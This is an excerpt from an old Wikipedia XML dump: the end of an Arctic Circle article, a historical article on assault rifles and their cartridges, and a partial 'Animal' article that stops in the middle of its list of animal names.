The country of [[Iceland]] also has territory within the Arctic Circle, but less than 1 sq km.  This area is on a few small islets, of which only [[Grímsey]] (which lies directly on the Arctic Circle) is inhabited.

==See also==
*[[Antarctic Circle]]
*[[Circumpolar arctic]]

==External links==
{{Wiktionary}}
*[http://groups.msn.com/965172qg02rbm4ek3a6e7udur5/_whatsnew.msnw Santa`s Lapland and Christmas Club] &amp;mdash;  Lapland and Arctic Circle
*[http://www.bugbog.com/images/maps/arctic_circle_map.jpg Topographical map of Arctic Circle, centered about North Pole]
*[http://www.world-maps.co.uk/maps/600-arctic.jpg Map of Arctic Circle (dotted line), showing major population areas]
*[http://www.mccord-museum.qc.ca/en/keys/webtours/GE_P3_5_EN.html Terra Incognita: Exploration of the Canadian Arctic] &amp;mdash; Historical essay about early expeditions to the Canadian arctic, illustrated with maps, photographs and drawings

[[Category:Arctic]]
[[Category:Geography of Nunavut]]
[[Category:Geography of the Northwest Territories]]
[[Category:Lines of latitude]]

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  <page>
    <title>Assault rifle</title>
    <id>719</id>
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      <timestamp>2006-02-21T13:27:48Z</timestamp>
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      <comment>United Kingdom</comment>
      <text xml:space="preserve">[[Image:Usarmy m16a2.jpg|right|thumb|[[M16A2]] ([[United States|U.S.]]). This version was adopted in 1982]]

An '''assault rifle''' is a type of [[automatic rifle]] generally defined as a [[selective fire]] [[rifle]] or [[carbine]] (depending on the particular [[firearm]]'s size), using intermediate-powered ammunition. They are categorized between the larger and heavier [[light machine gun]] and the weaker [[submachine gun]]. Assault rifles are the standard [[Small arms|small arm]] in most modern [[Army|armies]], having largely replaced or suplemented the larger, more powerful rifles of the past.

The name is a literal translation of the German term ''Sturmgewehr'' or &quot;storm weapon&quot;, first applied to the [[Sturmgewehr 44]], developed during [[World War II]]. It gradually became a popular term for this type of firearm. The term has since been retro-actively applied to earlier weapons with similar traits.

==History==

===1900s to the 1930s: Light automatic rifles using rifle cartridges===
[[Image:Avtomat Fedorova 1916.jpg|right|thumb|]]Federov Avtomat (Russia). The weapon fired the Japanese rifle [[Cartridge (firearms)|cartridge.]]

''These automatic firearms tended to use used pre-existing rifle cartridges, [[kinetic energy]] ranged between 3,000&amp;ndash;5,000 [[Joule|J]] (2,200&amp;ndash;3,700 foot-pounds), velocites of 750&amp;ndash;900 [[m/s]] (2,460&amp;ndash;2,950 ft/s) and bullets of 9 to 13 [[Gram|g]] (139&amp;ndash;200 grains).''

The first true assault rifle was probably the [[Italy|Italian]]-made [[Cei-Rigotti]], which was developed in the 1890s and finished around 1900, at the beginning of the 20th century; it never entered military service, however. The first service assault rifle was the [[Russia]]n [[Federov Avtomat]] of 1916, chambered for the [[Japan]]ese [[Arisaka]] 6.5 × 50 mm rifle [[Cartridge (firearms)|cartridge]], which was only used in small numbers due to supply problems.

The [[Browning Automatic Rifle]] (BAR) was a [[World War I]]-era weapon that used a full-power round. It was an [[automatic rifle]] by today's definition, and designed for single accurate shots and suppressive automatic fire. The weight of roughly 15 pounds (7 kg) meant that it was rather cumbersome for closer quarters. Later developments added heavier [[Gun barrel|barrels]] and [[bipod]]s that lent it to being used as more like today's light machine gun or [[squad automatic weapon]], though it did help establish the doctrine of use for light selective fire rifles. The BAR was produced in large numbers, widely adopted, and served into the 1960s with the U.S. military and other nations. While it did not use an intermediate cartridge, it was an intermediate weapon between the newly adopted submachine guns and heavier [[machine gun]]s such as the [[Lewis Gun]].

During WWI, a few weaker submachine guns also entered service, such as the [[Villar Perosa]], the [[Berretta 1918]] and the [[MP18]]. These weapons fired rounds based of pistols — [[9 mm Glisenti]] and [[9 mm Bergmann]]. The 9 mm Bergman was based on the [[9 mm Parabellum]], with reduced charge to reduce recoil in the MP18. The developers of the [[Thompson submachine gun]] (also developed during the 1910s) originally intended to use rifle-powered rounds. However, a mechanical system that could handle their power was not found and it ended up using the [[.45 ACP]] cartridge. These firearms are considered part of the [[submachine gun]] class, but were an important part in the development of the assault rifles.

===1930s: Automatic intermediate weapons===

''Some of these automatic and [[semi-automatic]] firearms used new intermediate cartridges; others used pre-existing rounds.''

An attempt to provide soldiers with a rifle with intermediate-power ammunition that was heavier than a [[submachine gun]] (too weak, with short range due to the [[pistol]] ammunition), but lighter than a long rifle (uncomfortable to fire, and difficult to control on [[fully-automatic]] mode due to the powerful ammunition; more expensive to design and manufacture), by the [[Italy|Italian]] arms company [[Beretta]] resulted in the MAB 38 (''Moschetto Automatico Beretta 1938''). The MAB 38 used a [[Fiocchi]] ''9M38'' cartridge and a higher-powered 9 mm Parabellum cartridge, which could provide longer range fire. The effective range was about 200 m, although it was declared to be effective up to 500 m. The MAB 38 was a multipurpose weapon.

[[Image:M1 Carbine.jpg|thumb|[[M1 Carbine]] (U.S.). Unlike the M1, the later M2 and M3 were [[Automatic fire|fully-automatic]]]]

In 1938, prior to World War II, the United States introduced the [[M1 Carbine]], which was an intermediate power weapon chambered for the [[.30 Carbine]] cartridge. The M1 Carbine was originally planned to have automatic fire, but this was dropped from the first version, although later in the war, selective fire variants were made (M2 and M3 Carbines). The weapon had higher [[stopping power]] than [[submachine gun]]s, but was not as powerful as full-size automatic rifles such as the BAR. The longer barrel (18-inch) provided the carbine with higher [[muzzle velocity]] than pistols and submachine guns chambered for the same .30 round.

The M1 Carbine series was designed for close quarters engagements, a concept that would be re-applied later. It marked the first time in which such an intermediate weapon would be mass-produced in such large numbers &amp;mdash; it became the most produced American weapon of the war, with millions made. The M1 Carbine series would remain in service with the U.S. military until replaced by the [[M16 (rifle)|M16 rifle]] in the 1960s; it continued to be used in other nations.

===1940s and 1950s: Maschinenkarabiner, Sturmgewehr, &amp; the AK-47===
[[Image:Sturmgewehr 44.jpg|thumb|right|[[Sturmgewehr 44]] (Germany). Its development began in earnest with the Maschinenkarabiner project]]

''Some of these automatic firearms used pre-existing rounds; others used new intermediate cartridges. Kinetic energy ranged between 1,400&amp;ndash;2,100 J (1,033&amp;ndash;1,550 foot-pounds), muzzle velocities of 600&amp;ndash;800m/s (1,970&amp;ndash;2,625 ft/s) and bullets of 7&amp;ndash;9g (108&amp;ndash;139 grains).''

Germany, like other countries, had studied the problem since [[World War I]], and their factories made a variety of non-standard cartridges, therefore having less incentive to retain their existing calibers. The 7.92 × 30 mm cartridge was an example of these experiments; in 1941, it was improved to [[7.92 x 33 mm|7.92 × 33 mm]] ''Infanterie Kurz Patrone'' (&quot;Infantry Short Standard&quot;). In 1942, it was again improved as ''Maschinenkarabiner Patrone S'', and in 1943, ''Pistolen Patrone 43mE''; then, finally, ''Infanterie Kurz Patrone 43''. It is just a coincidence, but the intermediate cartridge developed by Winchester for the M1 Carbine, developed slightly before, also measured 33 mm.

In 1942, [[Walther]] presented the ''Maschinenkarabiner'' (&quot;automatic carbine&quot;, abbr. MKb), named MKb42(W). In the same year, [[Haenel]] presented the MKb42(H), designed by [[Hugo Schmeisser]] as a result of this program. Rheinmetall-Borsig (some said Krieghoff) presented its [[FG 42]] (''Fallschirmjaeger Gewehr 42'', sponsored by [[Hermann Göring]]) though this was in a different role, and using a heavy [[8 mm Mauser|8 × 57 mm]] (8 mm Mauser) cartridge, which was not an intermediate round. War-time tests in [[Russia]] indicated the MKb42(H) performed better than the other two. Schmeisser developed it first as the MP43, then MP43/1, and finally as the MP44/Sturmgewehr 44 (abbreviated StG44). It immediately entered large scale production. More than 5,000 units had been produced by February 1944, and 55,000 by the following November.

Following the end of the war, the [[Soviet Union]] developed the [[AK-47]], which was vaguely similar in concept and layout to the German StG44, but extremely different mechanically. It fired the [[7.62 x 39 mm|7.62 × 39 mm]] cartridge, which had been developed during WWII. The round was similar to the StG44's in that the bullet was of a similar caliber to the Russian rifle ammunition.

===1960s and 1970s: Lighter automatic weapons and lighter smaller bullets===

''Many of these automatic firearms used intermediate cartridges with much lighter bullets and smaller calibers, but fired at very high velocity, kinetic energy ranged between 1300&amp;ndash;1800J (960&amp;ndash;1,330 foot-pounds),  velocities of 900&amp;ndash;1050m/s (2,950&amp;ndash;3,450 ft/s), and bullets of 3&amp;ndash;4g (46&amp;ndash;62 grains).''

[[Image:Stgw 90.jpg|thumb|right|[[SIG 550]] ([[Switzerland|Swiss]]). The SIG fires [[Gw Pat.90]], which has the same caliber as the [[5.56 mm NATO]]]]

Many nations continued the development of traditional high-powered rifles with ranges of 500 meters (550 yards) and beyond. Most designs of this period used low-caliber but high-velocity ammunition, with some experiments in [[flechette]]s and other exotic ammunition.

Statistical studies of World War II battles performed by the [[U.S. Army]] revealed that infantry combat beyond 300 meters (325 yards) was rare. The Russians saw no reason to make a rifle that shot beyond a rifleman's ability to aim. Therefore, a lighter, less-powerful cartridge could be effective. This permitted a lighter rifle and enabled troops to carry more ammunition, making them more autonomous &amp;mdash; a greater amount of the lighter ammunition could be transported in the same amount of space. In addition, the smaller size and handiness of an assault rifle would benefit [[tank]] crews, support troops, and units with missions other than [[front line]] combat. The [[5.56 x 45 mm NATO|5.56 × 45 mm NATO]] cartridge was developed in the 1960s, and was adopted for use in the [[M16 (rifle)|M16]] assault rifle. The M16A1 version soon followed, and was then replaced in 1982 by the M16A2.

The [[Soviet Union]] also developed its own similar round, the [[5.45 x 39 mm|5.45 × 39 mm]], which was used in the [[AK-74]], the successor of the [[AK-47]]. 

These rounds are usually considered less lethal than the previous generation of assault rifle rounds that fired larger rifle caliber ammunition with reduced propellant, but the smaller caliber and lighter bullets achieve higher velocities than even a hunting rifle bullet. These high speeds induce additional lethality through bullet shattering, although these high speed rounds generally do not exceed the momentum of the heavier (but slower) bullets of the less sophisticated AK-47. Any pointed (spitzer) round will tumble in soft tissue. If the jacket has a cannelure like the U.S. 5.56 × 45 mm M193 round, the bullet will fragment, leading to significant blood loss and internal damage. 

Blood loss leads to indirect incapacitation, but often takes longer than direct destruction of tissue. Since combat use of rifles expends around 50,000 rounds in suppressive fire for each combatant killed, trading lighter cartridge weight and lower recoil for slower but more sure incapacitation often makes good sense.

The key to the assault rifle concept is firing at both known ''and suspected'' enemy positions. This allows an attacking infantry unit to shoot at a hidden enemy first, rather than waiting for the enemy to fire first. Good volume and distribution of aimed suppressive fire delivered by infantry squad members as they maneuver, prevents enemy return fire, and in turn allows the assaulting unit to maneuver through enemy fields of fire faster. Faster maneuver limits the assaulting unit's vulnerability to small arms fire, [[artillery]], [[mortar]]s, or counter-attack. Of course this requires a larger basic ammunition load and steady supply of rifle ammunition.

===1970s, 1980s, 1990s: New form factors and features===

''Many of these automatic firearms usually used the same rounds as in older eras, but focused on using new form factors, materials, and added features like standard [[Telescopic sight|telescopic]] and [[Red dot sight|reflex]] sights.''

[[Image:FAMAS dsc06877.jpg|thumb|[[FAMAS]] ([[France]]). It was adopted in 1978]]

The biggest change since adoption of high velocity rounds of 5 mm caliber and higher, has been designs that have new form factors, sights, electronics, and materials. A number of [[bullpup]] rifles entered service in the late 1970s, 1980s and 1990s. Although bullpup rifles had existed since the 1930s, the [[United Kingdom]]'s [[EM2]] was one of the few bullpup assault rifles prior to this time. Examples of the new trend include the [[FAMAS]], [[Steyr AUG]], and [[SA80]]. They were all bullpup rifles that made heavy use of composites and plastics with ambidextrous controls, and the latter both added a low-power [[telescopic sight]] to the standard service version. The [[SAR-21]], the [[Tavor TAR-21]], and [[QBZ-95]] follow a similar trend as well, with a bullpup configuration and heavy use of composites.

The [[Heckler &amp; Koch G36]], adopted in the late 1990s by [[Spain]] and [[Germany]], is of the traditional configuration, but also has integral telescopic and red dot sights and composite exterior. The [[XM8 rifle]], developed from the G36, had similar features, but also added more electronics such as [[laser]] sight, round counter, and integral [[infrared]] laser and pointers.

The trend in the new designs, and very likely future ones, is towards more integrated features and lighter weight with new materials and configurations. Introduction of a new ammunition would require retooling factories, phasing out conventional ammunition and in general infrastructure change that is considered by many military planners too expensive to undertake.

Some have called for a reintroduction of larger caliber rounds to improve conventional lethality, or an increase in caliber in the 6&amp;ndash;7 mm range, with rifle round velocities and lower mass bullets: a kind of intermediate philosophy between the smaller caliber&amp;ndash;faster modern rounds and the standard caliber–slower rounds of the previous generation. China in the late 1980's introduced a 5.8 × 42 mm round, with an initial velocity of 930 m/s, 4.26 g bullet and 1,842 J of energy, China claims the new round provides superior performace and lethality to the NATO and modern Soviet intermediate rounds. In the United States, [[Remington]] has developed the [[6.8 mm Remington SPC]] cartridge, which is the same overall length at the 5.56 x 45 mm NATO round but fires a bullet the same caliber at the [[.270 Winchester]] hunting cartridge.  Its similar size to the 5.56 × 45 mm means that existing rifles can be converted without an excessive amount of trouble.  Development of a [[G11|4.73 mm]] [[caseless ammunition]] and advanced assault rifle in the 1970&amp;ndash;1980s by Germany was effectively halted by the [[German reunification]] in 1990, and that rifle never entered full production.

==&quot;Assault weapons&quot; vs. Fully-automatic weapons==
Primarily in the [[United States]], the term ''[[assault weapon]]'' is an arbitrary (and politicized) phrase generally used to describe a collection of '''''semi-automatic''''' firearms that have certain features associated with military/police use, such as a folding stock, [[flash suppressor]], [[bayonet]], protruding pistol grip, or the ability to accept a detachable magazine of a capacity larger than ten rounds. The phrase ''assault weapon'' has been used primarily in relation to a specific expired [[gun law]] that was commonly known as the '[[Federal assault weapons ban|Assault Weapons Ban]]', '[[Clinton]] gun ban', or '1994 crime bill'. It is a common misconception that the assault weapons ban restricted weapons capable of fully-automatic fire, such as assault rifles and [[machine gun]]s. Fully-automatic weapons were unaffected by the ban because they have been heavily restricted since the [[National Firearms Act]] of 1934, and other, more recent laws. 

The term 'assault weapon' has often been erroneously used to describe machine guns. Many states and localities still use the term [[assault weapon]] with a variety of variations following the California model loosely. See separate article on [[assault weapon]]s for further information.

==See also==
*[[Automatic firearm]] for clarification on similar categories
*[[Battle rifle]]
*[[Federal assault weapons ban (USA)]]
*[[Firearm action]]
*[[Gas-operated]]
*[[List of firearms]]


==External links==
* [http://www.quarry.nildram.co.uk/Assault.htm Assault Rifles and their Ammunition: History and Prospects]

[[Category:Rifles]]
[[Category:Assault rifles|*]]

[[de:Sturmgewehr]]
[[fr:Fusil d'assaut]]
[[he:רובה סער]]
[[ja:アサルトライフル]]
[[ko:돌격소총]]
[[lt:Automatas]]
[[no:Automatgevær]]
[[pl:Karabin automatyczny]]
[[ru:Автомат (оружие)]]
[[sl:Jurišna puška]]
[[fi:Rynnäkkökivääri]]
[[sv:Automatkarbin]]
[[zh:突击步枪]]</text>
    </revision>
  </page>
  <page>
    <title>Animal</title>
    <id>721</id>
    <revision>
      <id>42091723</id>
      <timestamp>2006-03-03T19:48:45Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>Ced.</comment>
      <text xml:space="preserve">{{Taxobox
| color = pink
| name = Animals
| image = Sea nettles.jpg
| image_width = 250px
| image_caption = [[Sea nettle]]s, ''Chrysaora quinquecirrha''
| domain = [[Eukaryote|Eukaryota]]
| regnum = '''Animalia'''
| regnum_authority = [[Carolus Linnaeus|Linnaeus]], 1758
| subdivision_ranks = Phyla
| subdivision = 
***[[Sponge|Porifera]] (sponges)
***[[Ctenophora]] (comb jellies)
***[[Cnidaria]] (coral, jellyfish, anemones)
***[[Trichoplax|Placozoa]] (trichoplax)
*'''''Subregnum [[Bilateria]]''''' ([[symmetry (biology)|bilateral symmetry]])
***[[Acoelomorpha]] (basal)
***[[Orthonectida]] (parasitic to flatworms, echinoderms, etc.)
***[[Rhombozoa]] (dicyemids)
***[[Myxozoa]] (slime animals)
**'''Superphylum [[Deuterostome|Deuterostomia]]''' (blastopore becomes anus)
***[[Chordate|Chordata]] (vertebrates, etc.)
***[[Hemichordata]] (acorn worms)
***[[Echinoderm]]ata (starfish, urchins)
***[[Chaetognatha]] ([[arrow worm]]s and [[Pterobranchia]])
**'''Superphylum [[Ecdysozoa]]''' (shed exoskeleton)
***[[Kinorhyncha]] (mud dragons)
***[[Loricifera]]
***[[Priapulida]] (priapulid worms)
***[[Nematoda]] (roundworms)
***[[Nematomorpha]] (horsehair worms)
***[[Onychophora]] (velvet worms)
***[[Tardigrada]] (water bears)
***[[Arthropoda]] (insects, etc.)
**'''Superphylum [[Platyzoa]]'''
***[[Platyhelminthes]] (flatworms)
***[[Gastrotricha]] (gastrotrichs)
***[[Rotifera]] (rotifers)
***[[Acanthocephala]] (acanthocephalans)
***[[Gnathostomulida]] (jaw worms)
***[[Micrognathozoa]] (limnognathia)
***[[Cycliophora]] (pandora)
**'''Superphylum [[Lophotrochozoa]]''' (trochophore larvae / lophophores)
***[[Sipuncula]] (peanut worms)
***[[Nemertea]] (ribbon worms)
***[[Phoronida]] (horseshoe worms)
***[[Bryozoa]] (moss animals)
***[[Entoprocta]] (goblet worms)
***[[Brachiopoda]] (brachipods)
***[[Mollusca]] (mollusks)
***[[Annelida]] (segmented worms)
}}
{{redirect|Animalia|the book by Graeme Base|[[Animalia (book)]]}}{{otheruses}}
'''Animals''' are a major group of [[organism]]s, classified as the [[kingdom (biology)|kingdom]] '''Animalia''' or '''Metazoa'''.  In general they are [[multicellular]], capable of locomotion and responsive to their environment, and feed by consuming other organisms.  Their body plan becomes fixed as they develop, usually early on in their [[ontogeny|development]] as [[embryo]]s, although some undergo a process of [[metamorphosis (biology)|metamorphosis]] later on.  

The name animal comes from the [[Latin]] word ''animal'', of which ''animalia'' is the plural, and ultimately from ''anima'', meaning vital breath or soul.

==Characteristics==
Kingdom Animalia has several characteristics that set it apart from other living things.  Animals are [[eukaryote|eukaryotic]] and [[multicellular]], which separates them from [[bacteria]] and most [[protist]]s.  They are [[Heterotroph|heterotrophic]], generally digesting food in an internal chamber, which separates them from [[plant]]s and [[alga]]e.  They are also distinguished from plants, algae, and [[fungus|fungi]] by lacking cell walls.

==Structure==
With a few exceptions, most notably the [[sponge|sponges]] (Phylum Porifera), animals have bodies differentiated into separate [[biological tissue|tissues]]. These include [[muscle]]s, which are able to contract and control locomotion, and a [[nervous system]], which sends and processes signals. There is also typically an internal [[digestion|digestive]] chamber, with one or two openings. Animals with this sort of organization are called metazoans, or [[eumetazoan]]s when the former is used for animals in general.

All animals have [[eukaryotic]] cells, surrounded by a characteristic extracellular matrix composed of [[collagen]] and elastic [[glycoprotein]]s. This may be calcified to form structures like [[shell]]s, [[bone]]s, and [[spicule]]s. During development it forms a relatively flexible framework upon which cells can move about and be reorganized, making complex structures possible. In contrast, other multicellular organisms like plants and fungi have cells held in place by cell walls, and so develop by progressive growth. Also, unique to animal cells are the following intercellular junctions: [[tight junction]]s, [[gap junction]]s, and [[desmosome]]s.

==Reproduction and development==

Nearly all animals undergo some form of [[sexual reproduction]].  Adults are [[diploid]] or occasionally [[polyploid]].  They have a few specialized reproductive cells, which undergo [[meiosis]] to produce smaller motile [[spermatozoon|spermatozoa]] or larger non-motile [[ovum|ova]].  These fuse to form [[zygote]]s, which develop into new individuals.

Many animals are also capable of [[asexual reproduction]].  This may take place through [[parthenogenesis]], where fertile eggs are produced without mating, or in some cases through fragmentation.

A [[zygote]] initially develops into a hollow sphere, called a [[blastula]], which undergoes rearrangement and differentiation.  In sponges, blastula larvae swim to a new location and develop into a new sponge.  In most other groups, the blastula undergoes more complicated rearrangement.  It first [[invagination|invaginates]] to form a [[gastrula]] with a digestive chamber, and two separate [[germ layer]]s - an external ectoderm and an internal endoderm.  In most cases, a mesoderm also develops between them.  These germ layers then differentiate to form tissues and organs.

Animals grow by indirectly using the energy of [[sunlight]].  Plants use this [[energy]] to turn air into simple [[sugars]] using a process known as [[photosynthesis]].  These sugars are then used as the building blocks which allow the plant to grow.  When animals eat these plants (or eat other animals which have eaten plants), the sugars produced by the plant are used by the animal.  They are either used directly to help the animal grow, or broken down, releasing stored solar energy, and giving the animal the energy required for motion.  This process is known as [[glycolysis]].

==Origin and fossil record==

Animals are generally considered to have evolved from [[flagellate]] protozoa.  Their closest living relatives are the [[choanoflagellate]]s, collared flagellates that have the same structure as certain sponge cells do.  Molecular studies place them in a supergroup called the [[opisthokont]]s, which also include the [[fungus|fungi]] and a few small parasitic [[protist]]s.  The name comes from the posterior location of the [[flagellum]] in motile cells, such as most animal sperm, whereas other eukaryotes tend to have anterior flagella.

The first fossils that might represent animals appear towards the end of the [[Precambrian]], around 600 million years ago, and are known as the [[Vendian biota]].  These are difficult to relate to later fossils, however.  Some may represent precursors of modern phyla, but they may be separate groups, and it is possible they are not really animals at all.  Aside from them, most known animal phyla make a more or less simultaneous appearance during the [[Cambrian]] period, about 570 million years ago.  It is still disputed whether this event, called the [[Cambrian explosion]], represents a rapid divergence between different groups or a change in conditions that made fossilization possible.

==Groups of animals==
[[Image:Elephant-ear-sponge.jpg|thumb|left|Elephant ear [[sponge]]]]
The sponges ([[Porifera]]) diverged from other animals early.  As mentioned, they lack the complex organization found in most other phyla.  Their cells are differentiated, but not organized into distinct tissues.  Sponges are sessile and typically feed by drawing in water through [[pore]]s. [[Archaeocyatha]], which have fused skeletons, may represent sponges or a separate phylum.

[[Image:Brain_coral.jpg|thumb|right|[[Brain Coral]]]]
Among the eumetazoan phyla, two are radially symmetric and have digestive chambers with a single opening, which serves as both the mouth and the anus.  These are the [[Cnidaria]], which include [[sea anemone]]s, [[coral]]s, and [[jellyfish]], and the [[Ctenophora]] or comb jellies.  Both have distinct tissues, but they are not organized into [[organ (anatomy)|organs]].  There are only two main germ layers, the ectoderm and endoderm, with only scattered cells between them.  As such, these animals are sometimes called [[diploblastic]].  The tiny phylum [[Placozoa]] is similar, but individuals do not have a permanent digestive chamber.

The remaining animals form a monophyletic group called the [[Bilateria]].  For the most part, they are bilaterally symmetric, and often have a specialized head with feeding and sensory organs.  The body is [[triploblastic]], i.e. all three germ layers are well-developed, and tissues form distinct organs.  The digestive chamber has two openings, a mouth and an anus, and there is also an internal body cavity called a coelom or pseudocoelom.  There are exceptions to each of these characteristics, however - for instance adult [[echinoderm]]s are radially symmetric, and certain parasitic worms have extremely simplified body structures.

[[Image:Common_clownfish.jpg|thumb|right|[[Clownfish]] in their [[Sea Anemone]] home]]
Genetic studies have considerably changed our understanding of the relationships within the Bilateria.  Most appear to belong to four major lineages:
# [[Deuterostomes]]
# [[Ecdysozoa]]
# [[Platyzoa]]
# [[Lophotrochozoa]]

In addition to these, there are a few small groups of bilaterians with relatively similar structure that appear to have diverged before these major groups.  These include the [[Acoelomorpha]], [[Rhombozoa]], and [[Orthonectida]].  The [[Myxozoa]], single-celled parasites that were originally considered Protozoa, are now believed to have developed from the Bilateria as well.

[[Image:Magellanic-penguin02.jpg|thumb|left|the [[Magellanic Penguin]]]]
===Deuterostomes===
[[Deuterostome]]s differ from the other Bilateria, called [[protostome]]s, in several ways.  In both cases there is a complete digestive tract.  However, in protostomes the initial opening (the [[archenteron]]) develops into the mouth, and an anus forms separately.  In deuterostomes this is reversed.  In most protostomes cells simply fill in the interior of the gastrula to form the mesoderm, called schizocoelous development, but in deuterostomes it forms through [[invagination]] of the endoderm, called enterocoelic pouching.  Deuterostomes also have a dorsal, rather than a ventral, nerve chord and their embryos undergo different cleavage.

All this suggests the deuterostomes and protostomes are separate, monophyletic lineages.  The main phyla of deuterostomes are the [[Echinodermata]] and [[Chordate|Chordata]].  The former are radially symmetric and exclusively marine, such as [[sea star]]s, [[sea urchin]]s, and [[sea cucumber]]s.  The latter are dominated by the [[vertebrate]]s, animals with backbones.  These include [[fish]], [[amphibian]]s, [[reptile]]s, [[bird]]s, and [[mammal]]s.

In addition to these, the deuterostomes also include the [[Hemichordata]] or acorn worms.  Although they are not especially prominent today, the important fossil [[graptolite]]s may belong to this group.  The [[Chaetognatha]] or arrow worms may also be deuterostomes, but this is less certain.

===Ecdysozoa===
[[Image:Sympetrum flaveolum - side (aka).jpg|thumb|the [[Yellow-winged Darter]]]]
The [[Ecdysozoa]] are protostomes, named after the common trait of growth by moulting or [[ecdysis]].  The largest animal phylum belongs here, the [[Arthropoda]], including [[insect]]s, [[spider]]s, [[crab]]s, and their kin.  All these organisms have a body divided into repeating segments, typically with paired appendages.  Two smaller phyla, the [[Onychophora]] and [[Tardigrada]], are close relatives of the arthropods and share these traits.

[[Image:roundworm.jpg|thumb|left|[[Roundworm]]]]
The ecdysozoans also include the [[Nematoda]] or roundworms, the second largest animal phylum.  Roundworms are typically microscopic, and occur in nearly every environment where there is water.  A number are important parasites.  Smaller phyla related to them are the [[Nematomorpha]] or horsehair worms, which are visible to the unaided eye, and the [[Kinorhyncha]], [[Priapulida]], and [[Loricifera]], which are all microscopic.  These groups have a reduced coelom, called a pseudocoelom.

The remaining two groups of protostomes are sometimes grouped together as the Spiralia, since in both embryos develop with spiral cleavage.

[[Image:Bedford-s_flatworm.jpg|thumb|left|Bedford's [[Flatworm]]]]
===Platyzoa===
The [[Platyzoa]] include the phylum [[Platyhelminthes]], the flatworms.  These were originally considered some of the most primitive Bilateria, but it now appears they developed from more complex ancestors.

[[Image:Rotifer.jpg|thumb|right|[[Rotifer]]]]
A number of parasites are included in this group, such as the [[fluke]]s and [[tapeworm]]s.  Flatworms lack a coelom, as do their closest relatives, the microscopic [[Gastrotricha]].

The other platyzoan phyla are microscopic and pseudocoelomate.  The most prominent are the [[Rotifera]] or rotifers, which are common in aqueous environments.  They also include the [[Acanthocephala]] or spiny-headed worms, the [[Gnathostomulida]], [[Micrognathozoa]], and possibly the [[Cycliophora]].  These groups share the presence of complex jaws, from which they are called the [[Gnathifera]].

===Lophotrochozoa===
[[Image:Reef2063.jpg|thumb|Big Blue [[Octopus]]]]
The [[Lophotrochozoa]] include two of the most successful animal phyla, the [[Mollusca]] and [[Annelida]].  The former includes animals such as [[snail]]s, [[clam]]s, and [[squid]]s, and the latter comprises the segmented worms, such as [[earthworm]]s and [[leech]]es.  These two groups have long been considered close relatives because of the common presence of [[trochophore]] larvae, but the annelids were considered closer to the arthropods, because they are both segmented.  Now this is generally considered convergent evolution, owing to many morphological and genetic differences between the two phyla.

The Lophotrochozoa also include the [[Nemertea]] or ribbon worms, the [[Sipuncula]], and several phyla that have a fan of cilia around the mouth, called a [[lophophore]].  These were traditionally grouped together as the lophophorates, but it now appears they are [[paraphyletic]], some closer to the Nemertea and some to the Mollusca and Annelida.  They include the [[Brachiopoda]] or lamp shells, which are prominent in the fossil record, the [[Entoprocta]], the [[Phoronida]], and possibly the [[Bryozoa]] or moss animals.

==History of classification==
[[Image:Caerulea3 crop.jpg|thumb|left|[[White's Tree Frog]]]]
[[Image:Rød ræv (Vulpes vulpes).jpg|thumb|''Vulpes vulpes'', the [[red fox]]]]
[[Aristotle]] divided the living world between animals and [[plant]]s, and this was followed by [[Carolus Linnaeus]] in the first hierarchical classification.  Since then biologists have begun emphasizing evolutionary relationships, and so these groups have been restricted somewhat.  For instance, microscopic [[protozoa]] were originally considered animals because they move, but are now treated separately.  

In [[Carolus Linnaeus|Linnaeus]]' original scheme, the animals were one of three kingdoms, divided into the classes of [[Vermes]], [[Insect]]a, [[Fish|Pisces]], [[Amphibia]], [[bird|Aves]], and [[Mammal]]ia. Since then the last four have all been subsumed into a single phylum, the [[chordate|Chordata]], whereas the various other forms have been separated out. The above lists represent our current understanding of the group, though there is some variation from source to source.

==Usage of the word ''animal''==
In everyday usage ''animal'' refers to any member of the [[animal kingdom]] that is not a [[human being]], and sometimes excludes [[insects]] (although including such arthropods as crabs). This confusion stems primarily from the familiarity with zoo animals, farm animals and pets, not from an analytical distinction between insects, humans and the rest of the animal kingdom.

==Examples==
{{see also|List of animal names}}
Some well-known types of animals, listed by their common names:
{{col-begin}}
{{col-5}}

*[[aardvark]]
*[[afghan hound]]
*[[albatross]]
*[[alligator]]
*[[alpaca]] 
*[[anaconda]]
*[[angelfish]]
*[[anglerfish]]
*[[ant]]
*[[antlion]]
*[[anteater]]
*[[antelope]]
*[[ape]]
*[[aphid]]
*[[armadillo]]
*[[arrow crab]]
*[[asp]]
*[[donkey|ass]]
*[[baboon]]
*[[badger (animal)|badger]]
*[[bald eagle]]
*[[bandicoot]]
*[[barnacle]]
*[[common Basilisk|basilisk]]
*[[barracuda]]
*[[bass (fish)|bass]]
*[[basset hound]]
*[[bat]] 
*[[bear]]
*[[beaver]] 
*[[bed bug]]
*[[bee]] 
*[[beetle]] 
*[[bird]] 
*[[bison]]
*[[blackbird]] 
*[[black panther]]
*[[black widow]]
*[[blue jay]]
*[[blue whale]]
*[[boa]]
*[[bobcat]]
*[[bobolink]]
*[[booby]]
*[[Box jellyfish]]
*[[Boston Terrier|boston terrier]]
*[[bovid]]
*[[bison|buffalo]]
*[[bug]]
*[[bulldog]]
*[[Bull Terrier|bull terrier]]
*[[butterfly]] 
*[[buzzard]]
*[[camel]]
*[[canid]]
*[[cape buffalo]]
*[[cardinal (bird)]]
*[[caribou]]
*[[carp]]
*[[cat]]
*[[caterpillar]]
*[[catfish]]
*[[centipede]]
*[[cephalopod]]
*[[chameleon]]
*[[cheetah]]
*[[chickadee]]
*[[chicken]] 
*[[chihuahua]]
*[[chimpanzee]]
*[[chinchilla]]
*[[chipmunk]]
*[[clam]]
*[[clownfish]]
*[[cobra]]
*[[cockroach]] 
*[[cod]]
*[[collie]]
*[[condor]]
*[[constrictor]]
*[[coral]]
*[[cougar]]
*[[coyote]]
{{col-5}}
*[[cattle|cow]]
*[[crab]]
*[[crane (bird)|crane]]
*[[crane fly]]
*[[crawdad]]
*[[crayfish]]
*[[cricket (insect)|cricket]]
*[[crocodile]] 
*[[crow]]
*[[cuckoo]]
*[[daddy longlegs]]
*[[damselfly]]
*[[deer]]
*[[dingo]]
*[[dinosaur]]
*[[dog]] 
*[[dolphin]] 
*[[donkey]]
*[[dormouse]]
*[[dove]]
*[[dragonfly]]
*[[duck]]
*[[dung beetle]]
*[[eagle]]
*[[earthworm]] 
*[[earwig]]
*[[eel]]
*[[egret]]
*[[elephant]]
*[[Elephant Seal]] 
*[[Red Deer|elk]] 
*[[emu]]
*[[English Pointer|english pointer]]
